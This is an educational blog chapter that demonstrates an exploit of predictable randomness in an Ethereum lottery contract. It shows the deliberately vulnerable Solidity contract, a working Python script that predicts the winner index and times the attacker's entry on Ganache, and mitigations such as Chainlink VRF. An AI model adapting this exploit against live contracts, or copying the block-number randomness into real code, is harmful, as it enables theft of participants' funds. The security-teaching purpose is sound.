Exploiting Predictable Randomness in Ethereum Smart Contracts

18 min read

November 10, 2024

Web3 Exploitation Fundamentals: Navigating Security in Decentralized Systems
Exploiting Predictable Randomness in Ethereum Smart Contracts

Table of contents

Introduction

In the world of smart contracts, random number generation can be surprisingly challenging, particularly in public blockchains like Ethereum. When a smart contract attempts to generate randomness using values like the block number, timestamp, or other on-chain data, it can inadvertently expose itself to a vulnerability: predictable outcomes.

For example, in many lottery-style contracts, the winner might be determined based on the hash of a block combined with other known factors, such as the number of participants. While this approach may seem random, it’s actually far from it. Miners, or any user who can observe the chain, can potentially predict the outcome by manipulating the timing of transactions or repeatedly entering the lottery.

Here’s how it happens:

  • Known Inputs: Many contracts use predictable on-chain information—like the block number, timestamp, or total players—to calculate randomness. These values are accessible to everyone, making it possible to simulate future outcomes based on likely conditions.
  • Miner Control: Miners have the power to influence block properties like timestamps and can withhold blocks if it benefits them. This power gives them a potential edge to predict or even control a winner.
  • Multi-Entry Manipulation: In some cases, an attacker can increase their odds by joining the lottery multiple times. By carefully timing entries or controlling the number of participants, they could skew the winner selection to their advantage.

This article will dive into exactly how these vulnerabilities arise, why they pose a risk, and what makes true randomness so challenging to achieve in blockchain environments.

The Vulnerable Contract

To demonstrate this vulnerability, we’ll use the following Lottery contract, which implements a straightforward approach to managing a lottery game on the blockchain. It allows users to join by purchasing tickets, after which the owner can select a winner who receives the entire balance of the contract.

Vulnerable Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Lottery {
    address public owner;
    address[] public players;
    uint public ticketPrice;
    address public winner; // State variable to store the winner's address

    constructor(uint _ticketPrice) {
        owner = msg.sender;
        ticketPrice = _ticketPrice;
    }

    // Allows users to buy tickets by sending exactly the ticket price
    function buyTicket() public payable {
        require(msg.value == ticketPrice, "Invalid ticket price");
        players.push(msg.sender);
    }

    // Picks a winner based on a simple and predictable formula
    function pickWinner() public onlyOwner {
        require(players.length > 0, "No players have joined");

        // Calculate the winner index based on block number and players length
        uint winnerIndex = uint(
            keccak256(
                abi.encodePacked(
                    block.number, // Predictable block number
                    players.length // Known and controllable by the attacker
                )
            )
        ) % players.length;

        winner = players[winnerIndex]; // Store the winner address
        payable(winner).transfer(address(this).balance);

        // Reset the players array for the next round
        delete players;
    }

    // Returns the number of players
    function getPlayerCount() public view returns (uint) {
        return players.length;
    }

    // Returns the list of players (for testing purposes)
    function getPlayers() public view returns (address[] memory) {
        return players;
    }

    // Returns the winner's address
    function getWinner() public view returns (address) {
        return winner;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function");
        _;
    }
}

To start, the contract’s constructor is called with a ticket price specified in wei. This constructor sets the owner as the address that deployed the contract and stores the chosen ticketPrice for the lottery. Here’s the initialization code:

constructor(uint _ticketPrice) {
    owner = msg.sender;
    ticketPrice = _ticketPrice;
}

With the owner and ticket price established, the contract proceeds to allow players to participate through the buyTicket function. This function requires users to send exactly the ticketPrice to confirm their participation. If they meet this requirement, their address is added to the players array:

function buyTicket() public payable {
    require(msg.value == ticketPrice, "Invalid ticket price");
    players.push(msg.sender);
}

This mechanism allows users to join the lottery as long as they send the correct ticket price in ether, automatically storing their address in players. As more users join, the players array grows, storing each participant's address and building up the contract balance from the ticket fees.

The winner selection process is handled by the pickWinner function, which only the contract owner can execute. This function first checks that there are participants in the lottery, ensuring that the lottery can only proceed if players have joined. If there are players, the function calculates the winner using a simple formula that determines an index in the players array. This winnerIndex is calculated based on the current block number and the length of the players array, as seen here:

uint winnerIndex = uint(
    keccak256(
        abi.encodePacked(
            block.number, // Current block number
            players.length // Number of participants
        )
    )
) % players.length;

The calculated winnerIndex corresponds to an entry in the players array, selecting one of the addresses as the winner. The contract then transfers the entire balance to this winning address:

winner = players[winnerIndex]; // Store the winner address
payable(winner).transfer(address(this).balance);

After transferring the balance to the winner, the players array is reset to clear all participants, preparing the contract for a new round of the lottery. This is done with the line:

delete players;

The contract includes several view functions for users to monitor its state. For instance, getPlayerCount returns the current number of participants, while getPlayers provides a list of all addresses in players. There’s also a getWinner function to display the most recent winner:

function getPlayerCount() public view returns (uint) {
    return players.length;
}

function getPlayers() public view returns (address[] memory) {
    return players;
}

function getWinner() public view returns (address) {
    return winner;
}

Finally, the contract ensures that only the owner can pick a winner by using a custom modifier, onlyOwner, which restricts the pickWinner function. This modifier checks that the caller is indeed the owner before allowing execution:

modifier onlyOwner() {
    require(msg.sender == owner, "Only the owner can call this function");
    _;
}

The Attack Strategy

Here, since we’re using Ganache as our blockchain environment, we have complete control over block creation and transaction timing, which makes the attack much easier to carry out. With Ganache, we can advance blocks whenever we like and set ideal conditions for the exploit, allowing us to craft the perfect scenario for a successful outcome. This controlled setup is ideal for demonstrating the vulnerability in a straightforward way.

The exploit works by taking advantage of the lottery contract’s predictable winner selection. The contract calculates the winner based on two factors: the current block number and the number of participants. Both of these values are publicly accessible, so an attacker can time their entry or adjust the number of players to boost their chances of winning. By simulating different outcomes beforehand, they can pinpoint the best moment to join and dramatically increase their odds.

In a real-world setting, things would be more challenging. Block numbers are constantly updated by various miners, and the number of players can fluctuate, making it much harder to predict the right conditions. This simplified example with Ganache, however, lets us focus on the core vulnerability, showing exactly how an attacker could manipulate the system under ideal conditions.

Deploying the contract

To set up the environment with Ganache and Hardhat, the process is essentially the same as in the previous chapter. Once Ganache is running and the Hardhat project is configured, we can use the following script to deploy the contract. This script leverages the ethers library to create an instance of the Lottery contract and sets a ticket price of 0.1 ether. Once deployed, it outputs the contract address to the console, allowing us to interact with the contract in our testing environment.

Here’s the deployment script:

async function main() {
  const Lottery = await ethers.getContractFactory("Lottery");
  const ticketPrice = ethers.parseEther("0.1"); // Ticket price in ether
  const lottery = await Lottery.deploy(ticketPrice);
  await lottery.waitForDeployment();

  console.log("Lottery deployed to:", lottery.target);
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Once the script is ready, you can deploy the contract on the local Ganache instance by running the following command with Hardhat:

npx hardhat run scripts/deploy.js --network ganache

Adding users to the lottery

To interact with the contract, this time I chose Python over JavaScript. Python offers convenient tools like Jupyter notebooks, which allow for interactive code execution and easier debugging. Many modern editors support this functionality, making it more comfortable to experiment and catch errors on the go. For example, I’m currently using Zed to run the code step-by-step, which allows me to verify that everything is working correctly as I go along.

Below is the Python script I used to automatically add participants to the lottery:

Script to add users to the lottery
# %% Cell 1
from web3 import Web3
import time
import json

# Connection setup
ganache_url = "http://127.0.0.1:7545"
web3 = Web3(Web3.HTTPProvider(ganache_url))

# Check connection
if not web3.is_connected():
    print("Error: Unable to connect to Ganache")
else:
    print("Connected to Ganache")

# %% Cell 2
# Contract address and ABI (replace with actual contract address)
contract_address = "0x3da1c86DB9fa85Ba45Cf2DDf5205d41a964800d2"

# Load the ABI from a JSON file
with open("Lottery.json") as f:
    contract_json = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize contract
lottery_contract = web3.eth.contract(address=contract_address, abi=contract_abi)
print("Contract initialized")

# %% Cell 3
# Replace these with actual Ganache accounts and private keys for testing
players = [
    {"address": "0x76e4E33674fDc3410Dc7df5E13fa4A5279028425", "private_key": "0xe859ec36ddd09c33cff090ea84e2560fba29c2996d9bd9cac3b0d60ddcca8a14"},
    {"address": "0xE324804B2d3018b8d3Ef7c82343af3499C897c01", "private_key": "0x63575a691ba6ac055c6861202668cf62e8eb5527210736f78dedb7dc3a5efa93"},
    {"address": "0xce47F784C297c0F26c654a1a956121CeEFee8CFf", "private_key": "0x0836982a10b4d719bd59d6dfb82ae810eebf33451ad7e9e55b799899c4ec58c0"},
    {"address": "0x4154F4926135C31e8d9E88F83D8eaFe2749c4189", "private_key": "0xc4b5c6855187945c62f7148b3d1ad66ec23a8add6042ea64f27a46dff4d078f0"}
]

# Set the ticket price in wei
ticket_price = web3.to_wei(0.1, "ether")

# Loop to add each player to the lottery
for player in players:
    tx = lottery_contract.functions.buyTicket().build_transaction({
        'from': player["address"],
        'value': ticket_price,
        'gas': 2000000,
        'gasPrice': web3.to_wei('50', 'gwei'),
        'nonce': web3.eth.get_transaction_count(player["address"]),
    })

    # Sign the transaction with the player's private key
    signed_tx = web3.eth.account.sign_transaction(tx, player["private_key"])
    tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
    receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
    print(f"Player {player['address']} joined the lottery.")

And here It's a little explanation of the code (In case you understand more or less how it works you can pass to the next section)

The script begins by setting up a connection to Ganache, a local Ethereum blockchain simulator, using the web3 library. It connects via HTTP at the default Ganache address (127.0.0.1:7545). This step ensures that we’re connected to a blockchain environment where we can deploy and interact with our contract.

ganache_url = "http://127.0.0.1:7545"
web3 = Web3(Web3.HTTPProvider(ganache_url))

# Check connection
if not web3.is_connected():
    print("Error: Unable to connect to Ganache")
else:
    print("Connected to Ganache")

Once connected, the script needs to know the deployed contract’s address and ABI (Application Binary Interface) to interact with it. The ABI describes the contract’s functions and is generated by the Solidity compiler. Here, the ABI is loaded from a JSON file, which was generated during the contract compilation process.

# Contract address and ABI (replace with actual contract address)
contract_address = "0x3da1c86DB9fa85Ba45Cf2DDf5205d41a964800d2"

# Load the ABI from a JSON file
with open("Lottery.json") as f:
    contract_json = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize contract
lottery_contract = web3.eth.contract(address=contract_address, abi=contract_abi)
print("Contract initialized")

To simulate participants joining the lottery, the script defines a list of player accounts, each with an associated private key (these are test accounts from Ganache). This allows the script to execute transactions on behalf of these accounts, which will be used to call the contract’s buyTicket function.

# Replace these with actual Ganache accounts and private keys for testing
players = [
    {"address": "0x76e4E33674fDc3410Dc7df5E13fa4A5279028425", "private_key": "0xe859ec36ddd09c33cff090ea84e2560fba29c2996d9bd9cac3b0d60ddcca8a14"},
    {"address": "0xE324804B2d3018b8d3Ef7c82343af3499C897c01", "private_key": "0x63575a691ba6ac055c6861202668cf62e8eb5527210736f78dedb7dc3a5efa93"},
    {"address": "0xce47F784C297c0F26c654a1a956121CeEFee8CFf", "private_key": "0x0836982a10b4d719bd59d6dfb82ae810eebf33451ad7e9e55b799899c4ec58c0"},
    {"address": "0x4154F4926135C31e8d9E88F83D8eaFe2749c4189", "private_key": "0xc4b5c6855187945c62f7148b3d1ad66ec23a8add6042ea64f27a46dff4d078f0"}
]

This part of the script loops through each player in the players list, simulating a ticket purchase for each one. It creates a transaction by calling the buyTicket function on the contract, sets the ticket price in wei, and assigns necessary parameters like gas and nonce.

# Set the ticket price in wei
ticket_price = web3.to_wei(0.1, "ether")

# Loop to add each player to the lottery
for player in players:
    tx = lottery_contract.functions.buyTicket().build_transaction({
        'from': player["address"],
        'value': ticket_price,
        'gas': 2000000,
        'gasPrice': web3.to_wei('50', 'gwei'),
        'nonce': web3.eth.get_transaction_count(player["address"]),
    })

Each transaction needs to be signed by the player’s private key before it can be sent to the blockchain. The script signs the transaction using web3.eth.account.sign_transaction, then sends it with web3.eth.send_raw_transaction. After sending, it waits for the transaction to be confirmed and prints a message indicating that the player has successfully joined the lottery.

    # Sign the transaction with the player's private key
    signed_tx = web3.eth.account.sign_transaction(tx, player["private_key"])
    tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
    receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
    print(f"Player {player['address']} joined the lottery.")

Selecting the Winner

In this section, I won’t go over the connection setup or how we initialize the contract with the ABI, as that was covered in detail in the previous section. Instead, we’ll jump straight into how the script works to retrieve the current players, select a winner, and award the prize.

Select winner script
from web3 import Web3
import time
import json

# Connection setup
ganache_url = "http://127.0.0.1:7545"
web3 = Web3(Web3.HTTPProvider(ganache_url))

# Check connection
if not web3.is_connected():
    print("Error: Unable to connect to Ganache")
else:
    print("Connected to Ganache")

# Contract address and ABI (replace with actual contract address)
contract_address = "0x3da1c86DB9fa85Ba45Cf2DDf5205d41a964800d2"

# Load the ABI from a JSON file
with open("Lottery.json") as f:
    contract_json  = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize contract
lottery_contract = web3.eth.contract(address=contract_address, abi=contract_abi)
print("Contract initialized")

# Owner's address and private key
owner_address = "0x68F99487Ad21cE05859C38Cc8B2a1f78fA452cE8"  # Replace with the owner's address
owner_private_key = "0xd6d215c98c4fd42ddb7b1a8ab89275bc284412267ef3f300cb61ef6fcb0d4d4e"   # Replace with the owner's private key

try:
    # Retrieve and print the list of players with their indices
    players = lottery_contract.functions.getPlayers().call()
    print("Current players in the lottery:")
    for index, player_address in enumerate(players):
        print(f"Index {index}: {player_address}")
    # Build the transaction to call pickWinner
    tx = lottery_contract.functions.pickWinner().build_transaction({
        'from': owner_address,
        'gas': 2000000,
        'gasPrice': web3.to_wei('50', 'gwei'),
        'nonce': web3.eth.get_transaction_count(owner_address),
    })

    # Sign the transaction with the owner's private key
    signed_tx = web3.eth.account.sign_transaction(tx, owner_private_key)

    # Send the transaction and wait for the receipt
    tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
    tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

    print("pickWinner executed successfully. Prize awarded to the winner.")
    print("Transaction hash:", tx_hash.hex())

    # Extract the winner's address from the WinnerSelected event
    winner_address = lottery_contract.functions.getWinner().call()
    print("Winner of the lottery:", winner_address)

except Exception as e:
    print("Error executing pickWinner:", e)

To begin, we retrieve the list of current players by calling getPlayers on our contract. This function returns a list of addresses, each representing a participant in the lottery. The script then loops through this list and prints each player’s address alongside its index, which helps us keep track of who’s currently entered.

# Retrieve and print the list of players with their indices
players = lottery_contract.functions.getPlayers().call()
print("Current players in the lottery:")
for index, player_address in enumerate(players):
    print(f"Index {index}: {player_address}")

Now that we have the list of players, it’s time to prepare the transaction to call pickWinner. Since only the contract owner can execute this function, we specify the owner’s address, along with necessary transaction details like gas, gasPrice, and nonce. The nonce is automatically fetched to make sure this transaction is unique.

tx = lottery_contract.functions.pickWinner().build_transaction({
    'from': owner_address,
    'gas': 2000000,
    'gasPrice': web3.to_wei('50', 'gwei'),
    'nonce': web3.eth.get_transaction_count(owner_address),
})

To validate and authorize the transaction, we sign it using the owner’s private key. This step is essential, as it verifies that the transaction is coming from the correct account. Once signed, we send it to the blockchain and wait for confirmation that it’s been processed successfully.

# Sign the transaction with the owner's private key
signed_tx = web3.eth.account.sign_transaction(tx, owner_private_key)

# Send the transaction and wait for the receipt
tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("pickWinner executed successfully. Prize awarded to the winner.")
print("Transaction hash:", tx_hash.hex())

Finally, after the pickWinner function executes, we retrieve the winning player’s address by calling getWinner on the contract. This allows us to see which participant won the lottery, giving us the outcome of this round.

# Extract the winner's address from the WinnerSelected event
winner_address = lottery_contract.functions.getWinner().call()
print("Winner of the lottery:", winner_address)

Understanding the Exploit

Finaly, we’ll explore how an attacker could exploit our lottery contract by monitoring conditions to determine the best time to join, thereby maximizing their chances of winning. Here’s how the exploit works, starting with an overview of the prediction function and then examining how the attacker waits for favorable conditions before joining.

Exploit code
from web3 import Web3
import time
import json

# Connection setup
ganache_url = "http://127.0.0.1:7545"
web3 = Web3(Web3.HTTPProvider(ganache_url))

# Check connection
if not web3.is_connected():
    print("Error: Unable to connect to Ganache")
else:
    print("Connected to Ganache")

# Contract address and ABI (replace with actual contract address)
contract_address = "0x3da1c86DB9fa85Ba45Cf2DDf5205d41a964800d2"

# Load the ABI from a JSON file
with open("Lottery.json") as f:
    contract_json  = json.load(f)
    contract_abi = contract_json["abi"]

# Initialize contract
lottery_contract = web3.eth.contract(address=contract_address, abi=contract_abi)
print("Contract initialized")

# Attacker's account and private key (ensure this is a test account)
attacker_address = "0xa7E1Dce14Bb439e6710c18e05C0DA71EAd3d0203"
attacker_private_key = "0x85ebe111f9cd1878845c72b10affa75fcbf300123a70c79f01cfbf65cdcd4b50"

# Ticket price in wei (e.g., 0.1 ether)
ticket_price = web3.to_wei(0.1, "ether")

# Predict the winning index based on block number and players list length
def predict_winner_index(block_number, players):
    hash_value = web3.solidity_keccak(
        ["uint256", "uint256"],  # Same as Solidity's abi.encodePacked(uint256, uint256)
        [block_number, len(players)]
    )
    return int(hash_value.hex(), 16) % len(players)

# Wait for a favorable condition
try:
    players = lottery_contract.functions.getPlayers().call()

    if len(players) > 0:
        simulated_players = players + [attacker_address]

        while True:
            # Get the current block number and simulate the next block for prediction
            current_block = web3.eth.get_block("latest")
            block_number = current_block.number + 2

            # Predict the winner index if the attacker joins
            predicted_index = predict_winner_index(block_number, simulated_players)

            # Check if the attacker would be the winner
            if simulated_players[predicted_index] == attacker_address:
                print("Favorable condition! Joining the lottery now would likely result in a win.")

                # Build the transaction to join the lottery
                tx = lottery_contract.functions.buyTicket().build_transaction({
                    'from': attacker_address,
                    'value': ticket_price,
                    'gas': 2000000,
                    'gasPrice': web3.to_wei('50', 'gwei'),
                    'nonce': web3.eth.get_transaction_count(attacker_address),
                })

                # Sign and send the transaction
                signed_tx = web3.eth.account.sign_transaction(tx, attacker_private_key)
                tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
                receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
                print(f"Attacker {attacker_address} successfully joined the lottery.")
                break
            else:
                print("Not favorable to join yet. Waiting for the next block...")
                web3.provider.make_request("evm_mine", [])

            # Wait for a short period before rechecking (simulate waiting for a new block)
            time.sleep(1)  # Adjust this delay as needed for your environment
    else:
        print("No players in the lottery yet.")
except Exception as e:
    print("Error:", e)

To predict the winner, we use a custom predict_winner_index function, which mimics the contract’s formula for calculating the winner. This function takes two inputs: the block number and the length of the players array. By hashing these values together, we can calculate the index of the expected winner, simulating the way the contract selects the winner based on predictable on-chain data.

def predict_winner_index(block_number, players):
    hash_value = web3.solidity_keccak(
        ["uint256", "uint256"],  # Mimics Solidity's abi.encodePacked(uint256, uint256)
        [block_number, len(players)]
    )
    return int(hash_value.hex(), 16) % len(players)

Next, the script retrieves the current list of players in the lottery. If there are players present, the attacker prepares a simulated list of participants by adding their own address to the end. This allows them to predict the outcome if they join.

players = lottery_contract.functions.getPlayers().call()
if len(players) > 0:
    simulated_players = players + [attacker_address]

The attacker then enters a loop, where they monitor each new block to check if joining would likely make them the winner. In each iteration, the script increments the block number by simulating a new block, and then calculates the predicted winning index with the attacker included. This effectively simulates future blocks, allowing the attacker to assess when they would have the best chance of winning.

while True:
    current_block = web3.eth.get_block("latest")
    block_number = current_block.number + 2  # Increment to predict the next block

    # Predict the winner index if the attacker joins
    predicted_index = predict_winner_index(block_number, simulated_players)

If the predicted index corresponds to the attacker’s address, it indicates a favorable condition to join. At this point, the attacker immediately submits a transaction to join the lottery, signing it with their private key to validate it. This transaction is then sent to the blockchain, where the attacker is added as a player.

if simulated_players[predicted_index] == attacker_address:
   print("Favorable condition! Joining the lottery now would likely result in a win.")

   tx = lottery_contract.functions.buyTicket().build_transaction({
       'from': attacker_address,
       'value': ticket_price,
       'gas': 2000000,
       'gasPrice': web3.to_wei('50', 'gwei'),
       'nonce': web3.eth.get_transaction_count(attacker_address),
   })

   signed_tx = web3.eth.account.sign_transaction(tx, attacker_private_key)
   tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
   receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
   print(f"Attacker {attacker_address} successfully joined the lottery.")
   break

If the prediction isn’t favorable, the script waits briefly and then simulates a new block. This allows the attacker to continuously monitor and retry until they find an ideal block where their chances of winning are high.

else:
    print("Not favorable to join yet. Waiting for the next block...")
    web3.provider.make_request("evm_mine", [])
    time.sleep(1)

Connecting the Scripts to Execute the Exploit

In this final section, we’ll take a look at how these scripts come together to create a scenario where an attacker could successfully manipulate the lottery to win the prize

First, we start by running addUser.py to simulate multiple players joining the lottery. As shown in the screenshot, each player joins successfully, and their addresses are displayed to confirm their entries. This setup builds up the players array, setting the stage for our attacker to carefully time their entry.

Next, we run exploit.py, which simulates the attacker waiting for favorable conditions to join. You can see in the output that the script patiently checks each block, waiting until the conditions are just right. Each time it’s not favorable to join, the script simply waits for the next block. Eventually, it detects a favorable block, printing the message: “Favorable condition! Joining the lottery now would likely result in a win.” The attacker’s address is then successfully added to the players list.

Finally, we execute selectWinner.py, which calls the pickWinner function to determine the lottery winner. As shown in the last screenshot, the transaction completes, and the winner’s address is displayed. Notably, the winner matches the attacker’s address, confirming that the exploit worked as intended. The transaction hash is also displayed, providing a full record of the event on the blockchain.

Securing the Lottery Contract: Mitigating Predictability

To prevent the vulnerabilities we’ve seen in this lottery contract, we need to introduce a more secure approach to randomness. The main issue in the current contract is that it relies on publicly accessible, predictable data (the block number and player count) to select a winner. This opens the door for attackers to manipulate their entry timing and take advantage of the contract’s predictability. Here are a few solutions that could make the lottery contract significantly more secure.

One of the most reliable ways to generate secure randomness on the blockchain is to use an oracle-based solution like Chainlink VRF (Verifiable Random Function). Chainlink VRF provides a tamper-proof source of randomness that cannot be influenced by miners or other participants. Here’s how it would work:

  • When the contract owner is ready to pick a winner, they would request randomness from Chainlink VRF.
  • Chainlink VRF generates a random number off-chain and returns it to the contract, along with cryptographic proof that it was generated securely.
  • The contract verifies the proof and uses the random number to select a winner from the players array.

This approach significantly reduces the risk of manipulation, as the random number generation happens off-chain and cannot be influenced by any participants or miners.

Example Integration

Here's a basic idea of what integrating Chainlink VRF might look like in Solidity:

Example of how to use Chainlink VRF
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";

contract SecureLottery is VRFConsumerBase {
    address public owner;
    address[] public players;
    bytes32 internal keyHash;
    uint256 internal fee;
    address public winner;

    constructor() VRFConsumerBase(
        0xYourVRFCoordinatorAddress, // VRF Coordinator
        0xYourLinkTokenAddress       // LINK Token
    ) {
        owner = msg.sender;
        keyHash = 0xYourKeyHash;
        fee = 0.1 * 10 ** 18; // LINK fee (depends on the network)
    }

    function buyTicket() public payable {
        require(msg.value == ticketPrice, "Invalid ticket price");
        players.push(msg.sender);
    }

    function pickWinner() public onlyOwner {
        require(players.length > 0, "No players have joined");
        require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
        requestRandomness(keyHash, fee);
    }

    function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
        uint256 winnerIndex = randomness % players.length;
        winner = players[winnerIndex];
        payable(winner).transfer(address(this).balance);
        delete players;
    }
}

Commit-Reveal Scheme

Another alternative, though less secure than Chainlink VRF, is the commit-reveal scheme. In this approach, participants (or even the contract itself) commit to a secret value during the entry phase. Once all entries are closed, the secret values are revealed, and a hash of these values is used to determine the winner. This method prevents participants from altering their entries after seeing others’ contributions, adding a layer of unpredictability.

However, the commit-reveal scheme is more complex to implement and is still vulnerable to certain attacks (like front-running). For true security, it’s often better to rely on external, verifiable randomness.

Blockhash Limitations

Some developers attempt to use blockhash from previous blocks as a source of randomness. However, blockhash should be avoided in most cases, as miners can influence its value and it becomes unreliable after a certain number of blocks. While using the hash of a much older block could provide slight unpredictability, it’s generally insufficient for securing valuable assets and does not eliminate the risk of miner manipulation.

Conclusions

This exploration of a vulnerable lottery contract has highlighted the critical importance of randomness in blockchain applications. By carefully analyzing the contract’s structure and predictable selection mechanism, we demonstrated how an attacker could leverage this predictability to manipulate the outcome. The experiment showed that when block data or participant counts are used as inputs for "random" selections, they can become points of vulnerability, leaving contracts open to exploitation.

Using Ganache allowed us to control the environment fully, making it easier to illustrate the exploit in action. However, it’s essential to remember that, in a real-world setting, continuously fluctuating block numbers and dynamic participation would make this kind of manipulation more challenging—though not impossible. This reinforces the need for secure and verifiable randomness in lottery or chance-based contracts.

For developers, the key takeaway is to avoid relying on simple on-chain data for critical functions that require unpredictability. Using secure randomness solutions, such as Chainlink VRF (Verifiable Random Function), can provide the tamper-proof randomness needed to prevent these kinds of attacks.

Ultimately, understanding these vulnerabilities is a vital step toward building more secure smart contracts. By identifying and addressing potential weaknesses, we can create more robust decentralized applications that protect users and maintain fairness in all scenarios.

References

Chapters

Botón Anterior
Pentesting Web3: Setting Up a Smart Contract Testing Environment

Previous chapter

Refunds Gone Wrong: How Access Control Flaws Can Drain Your Contract

Next chapter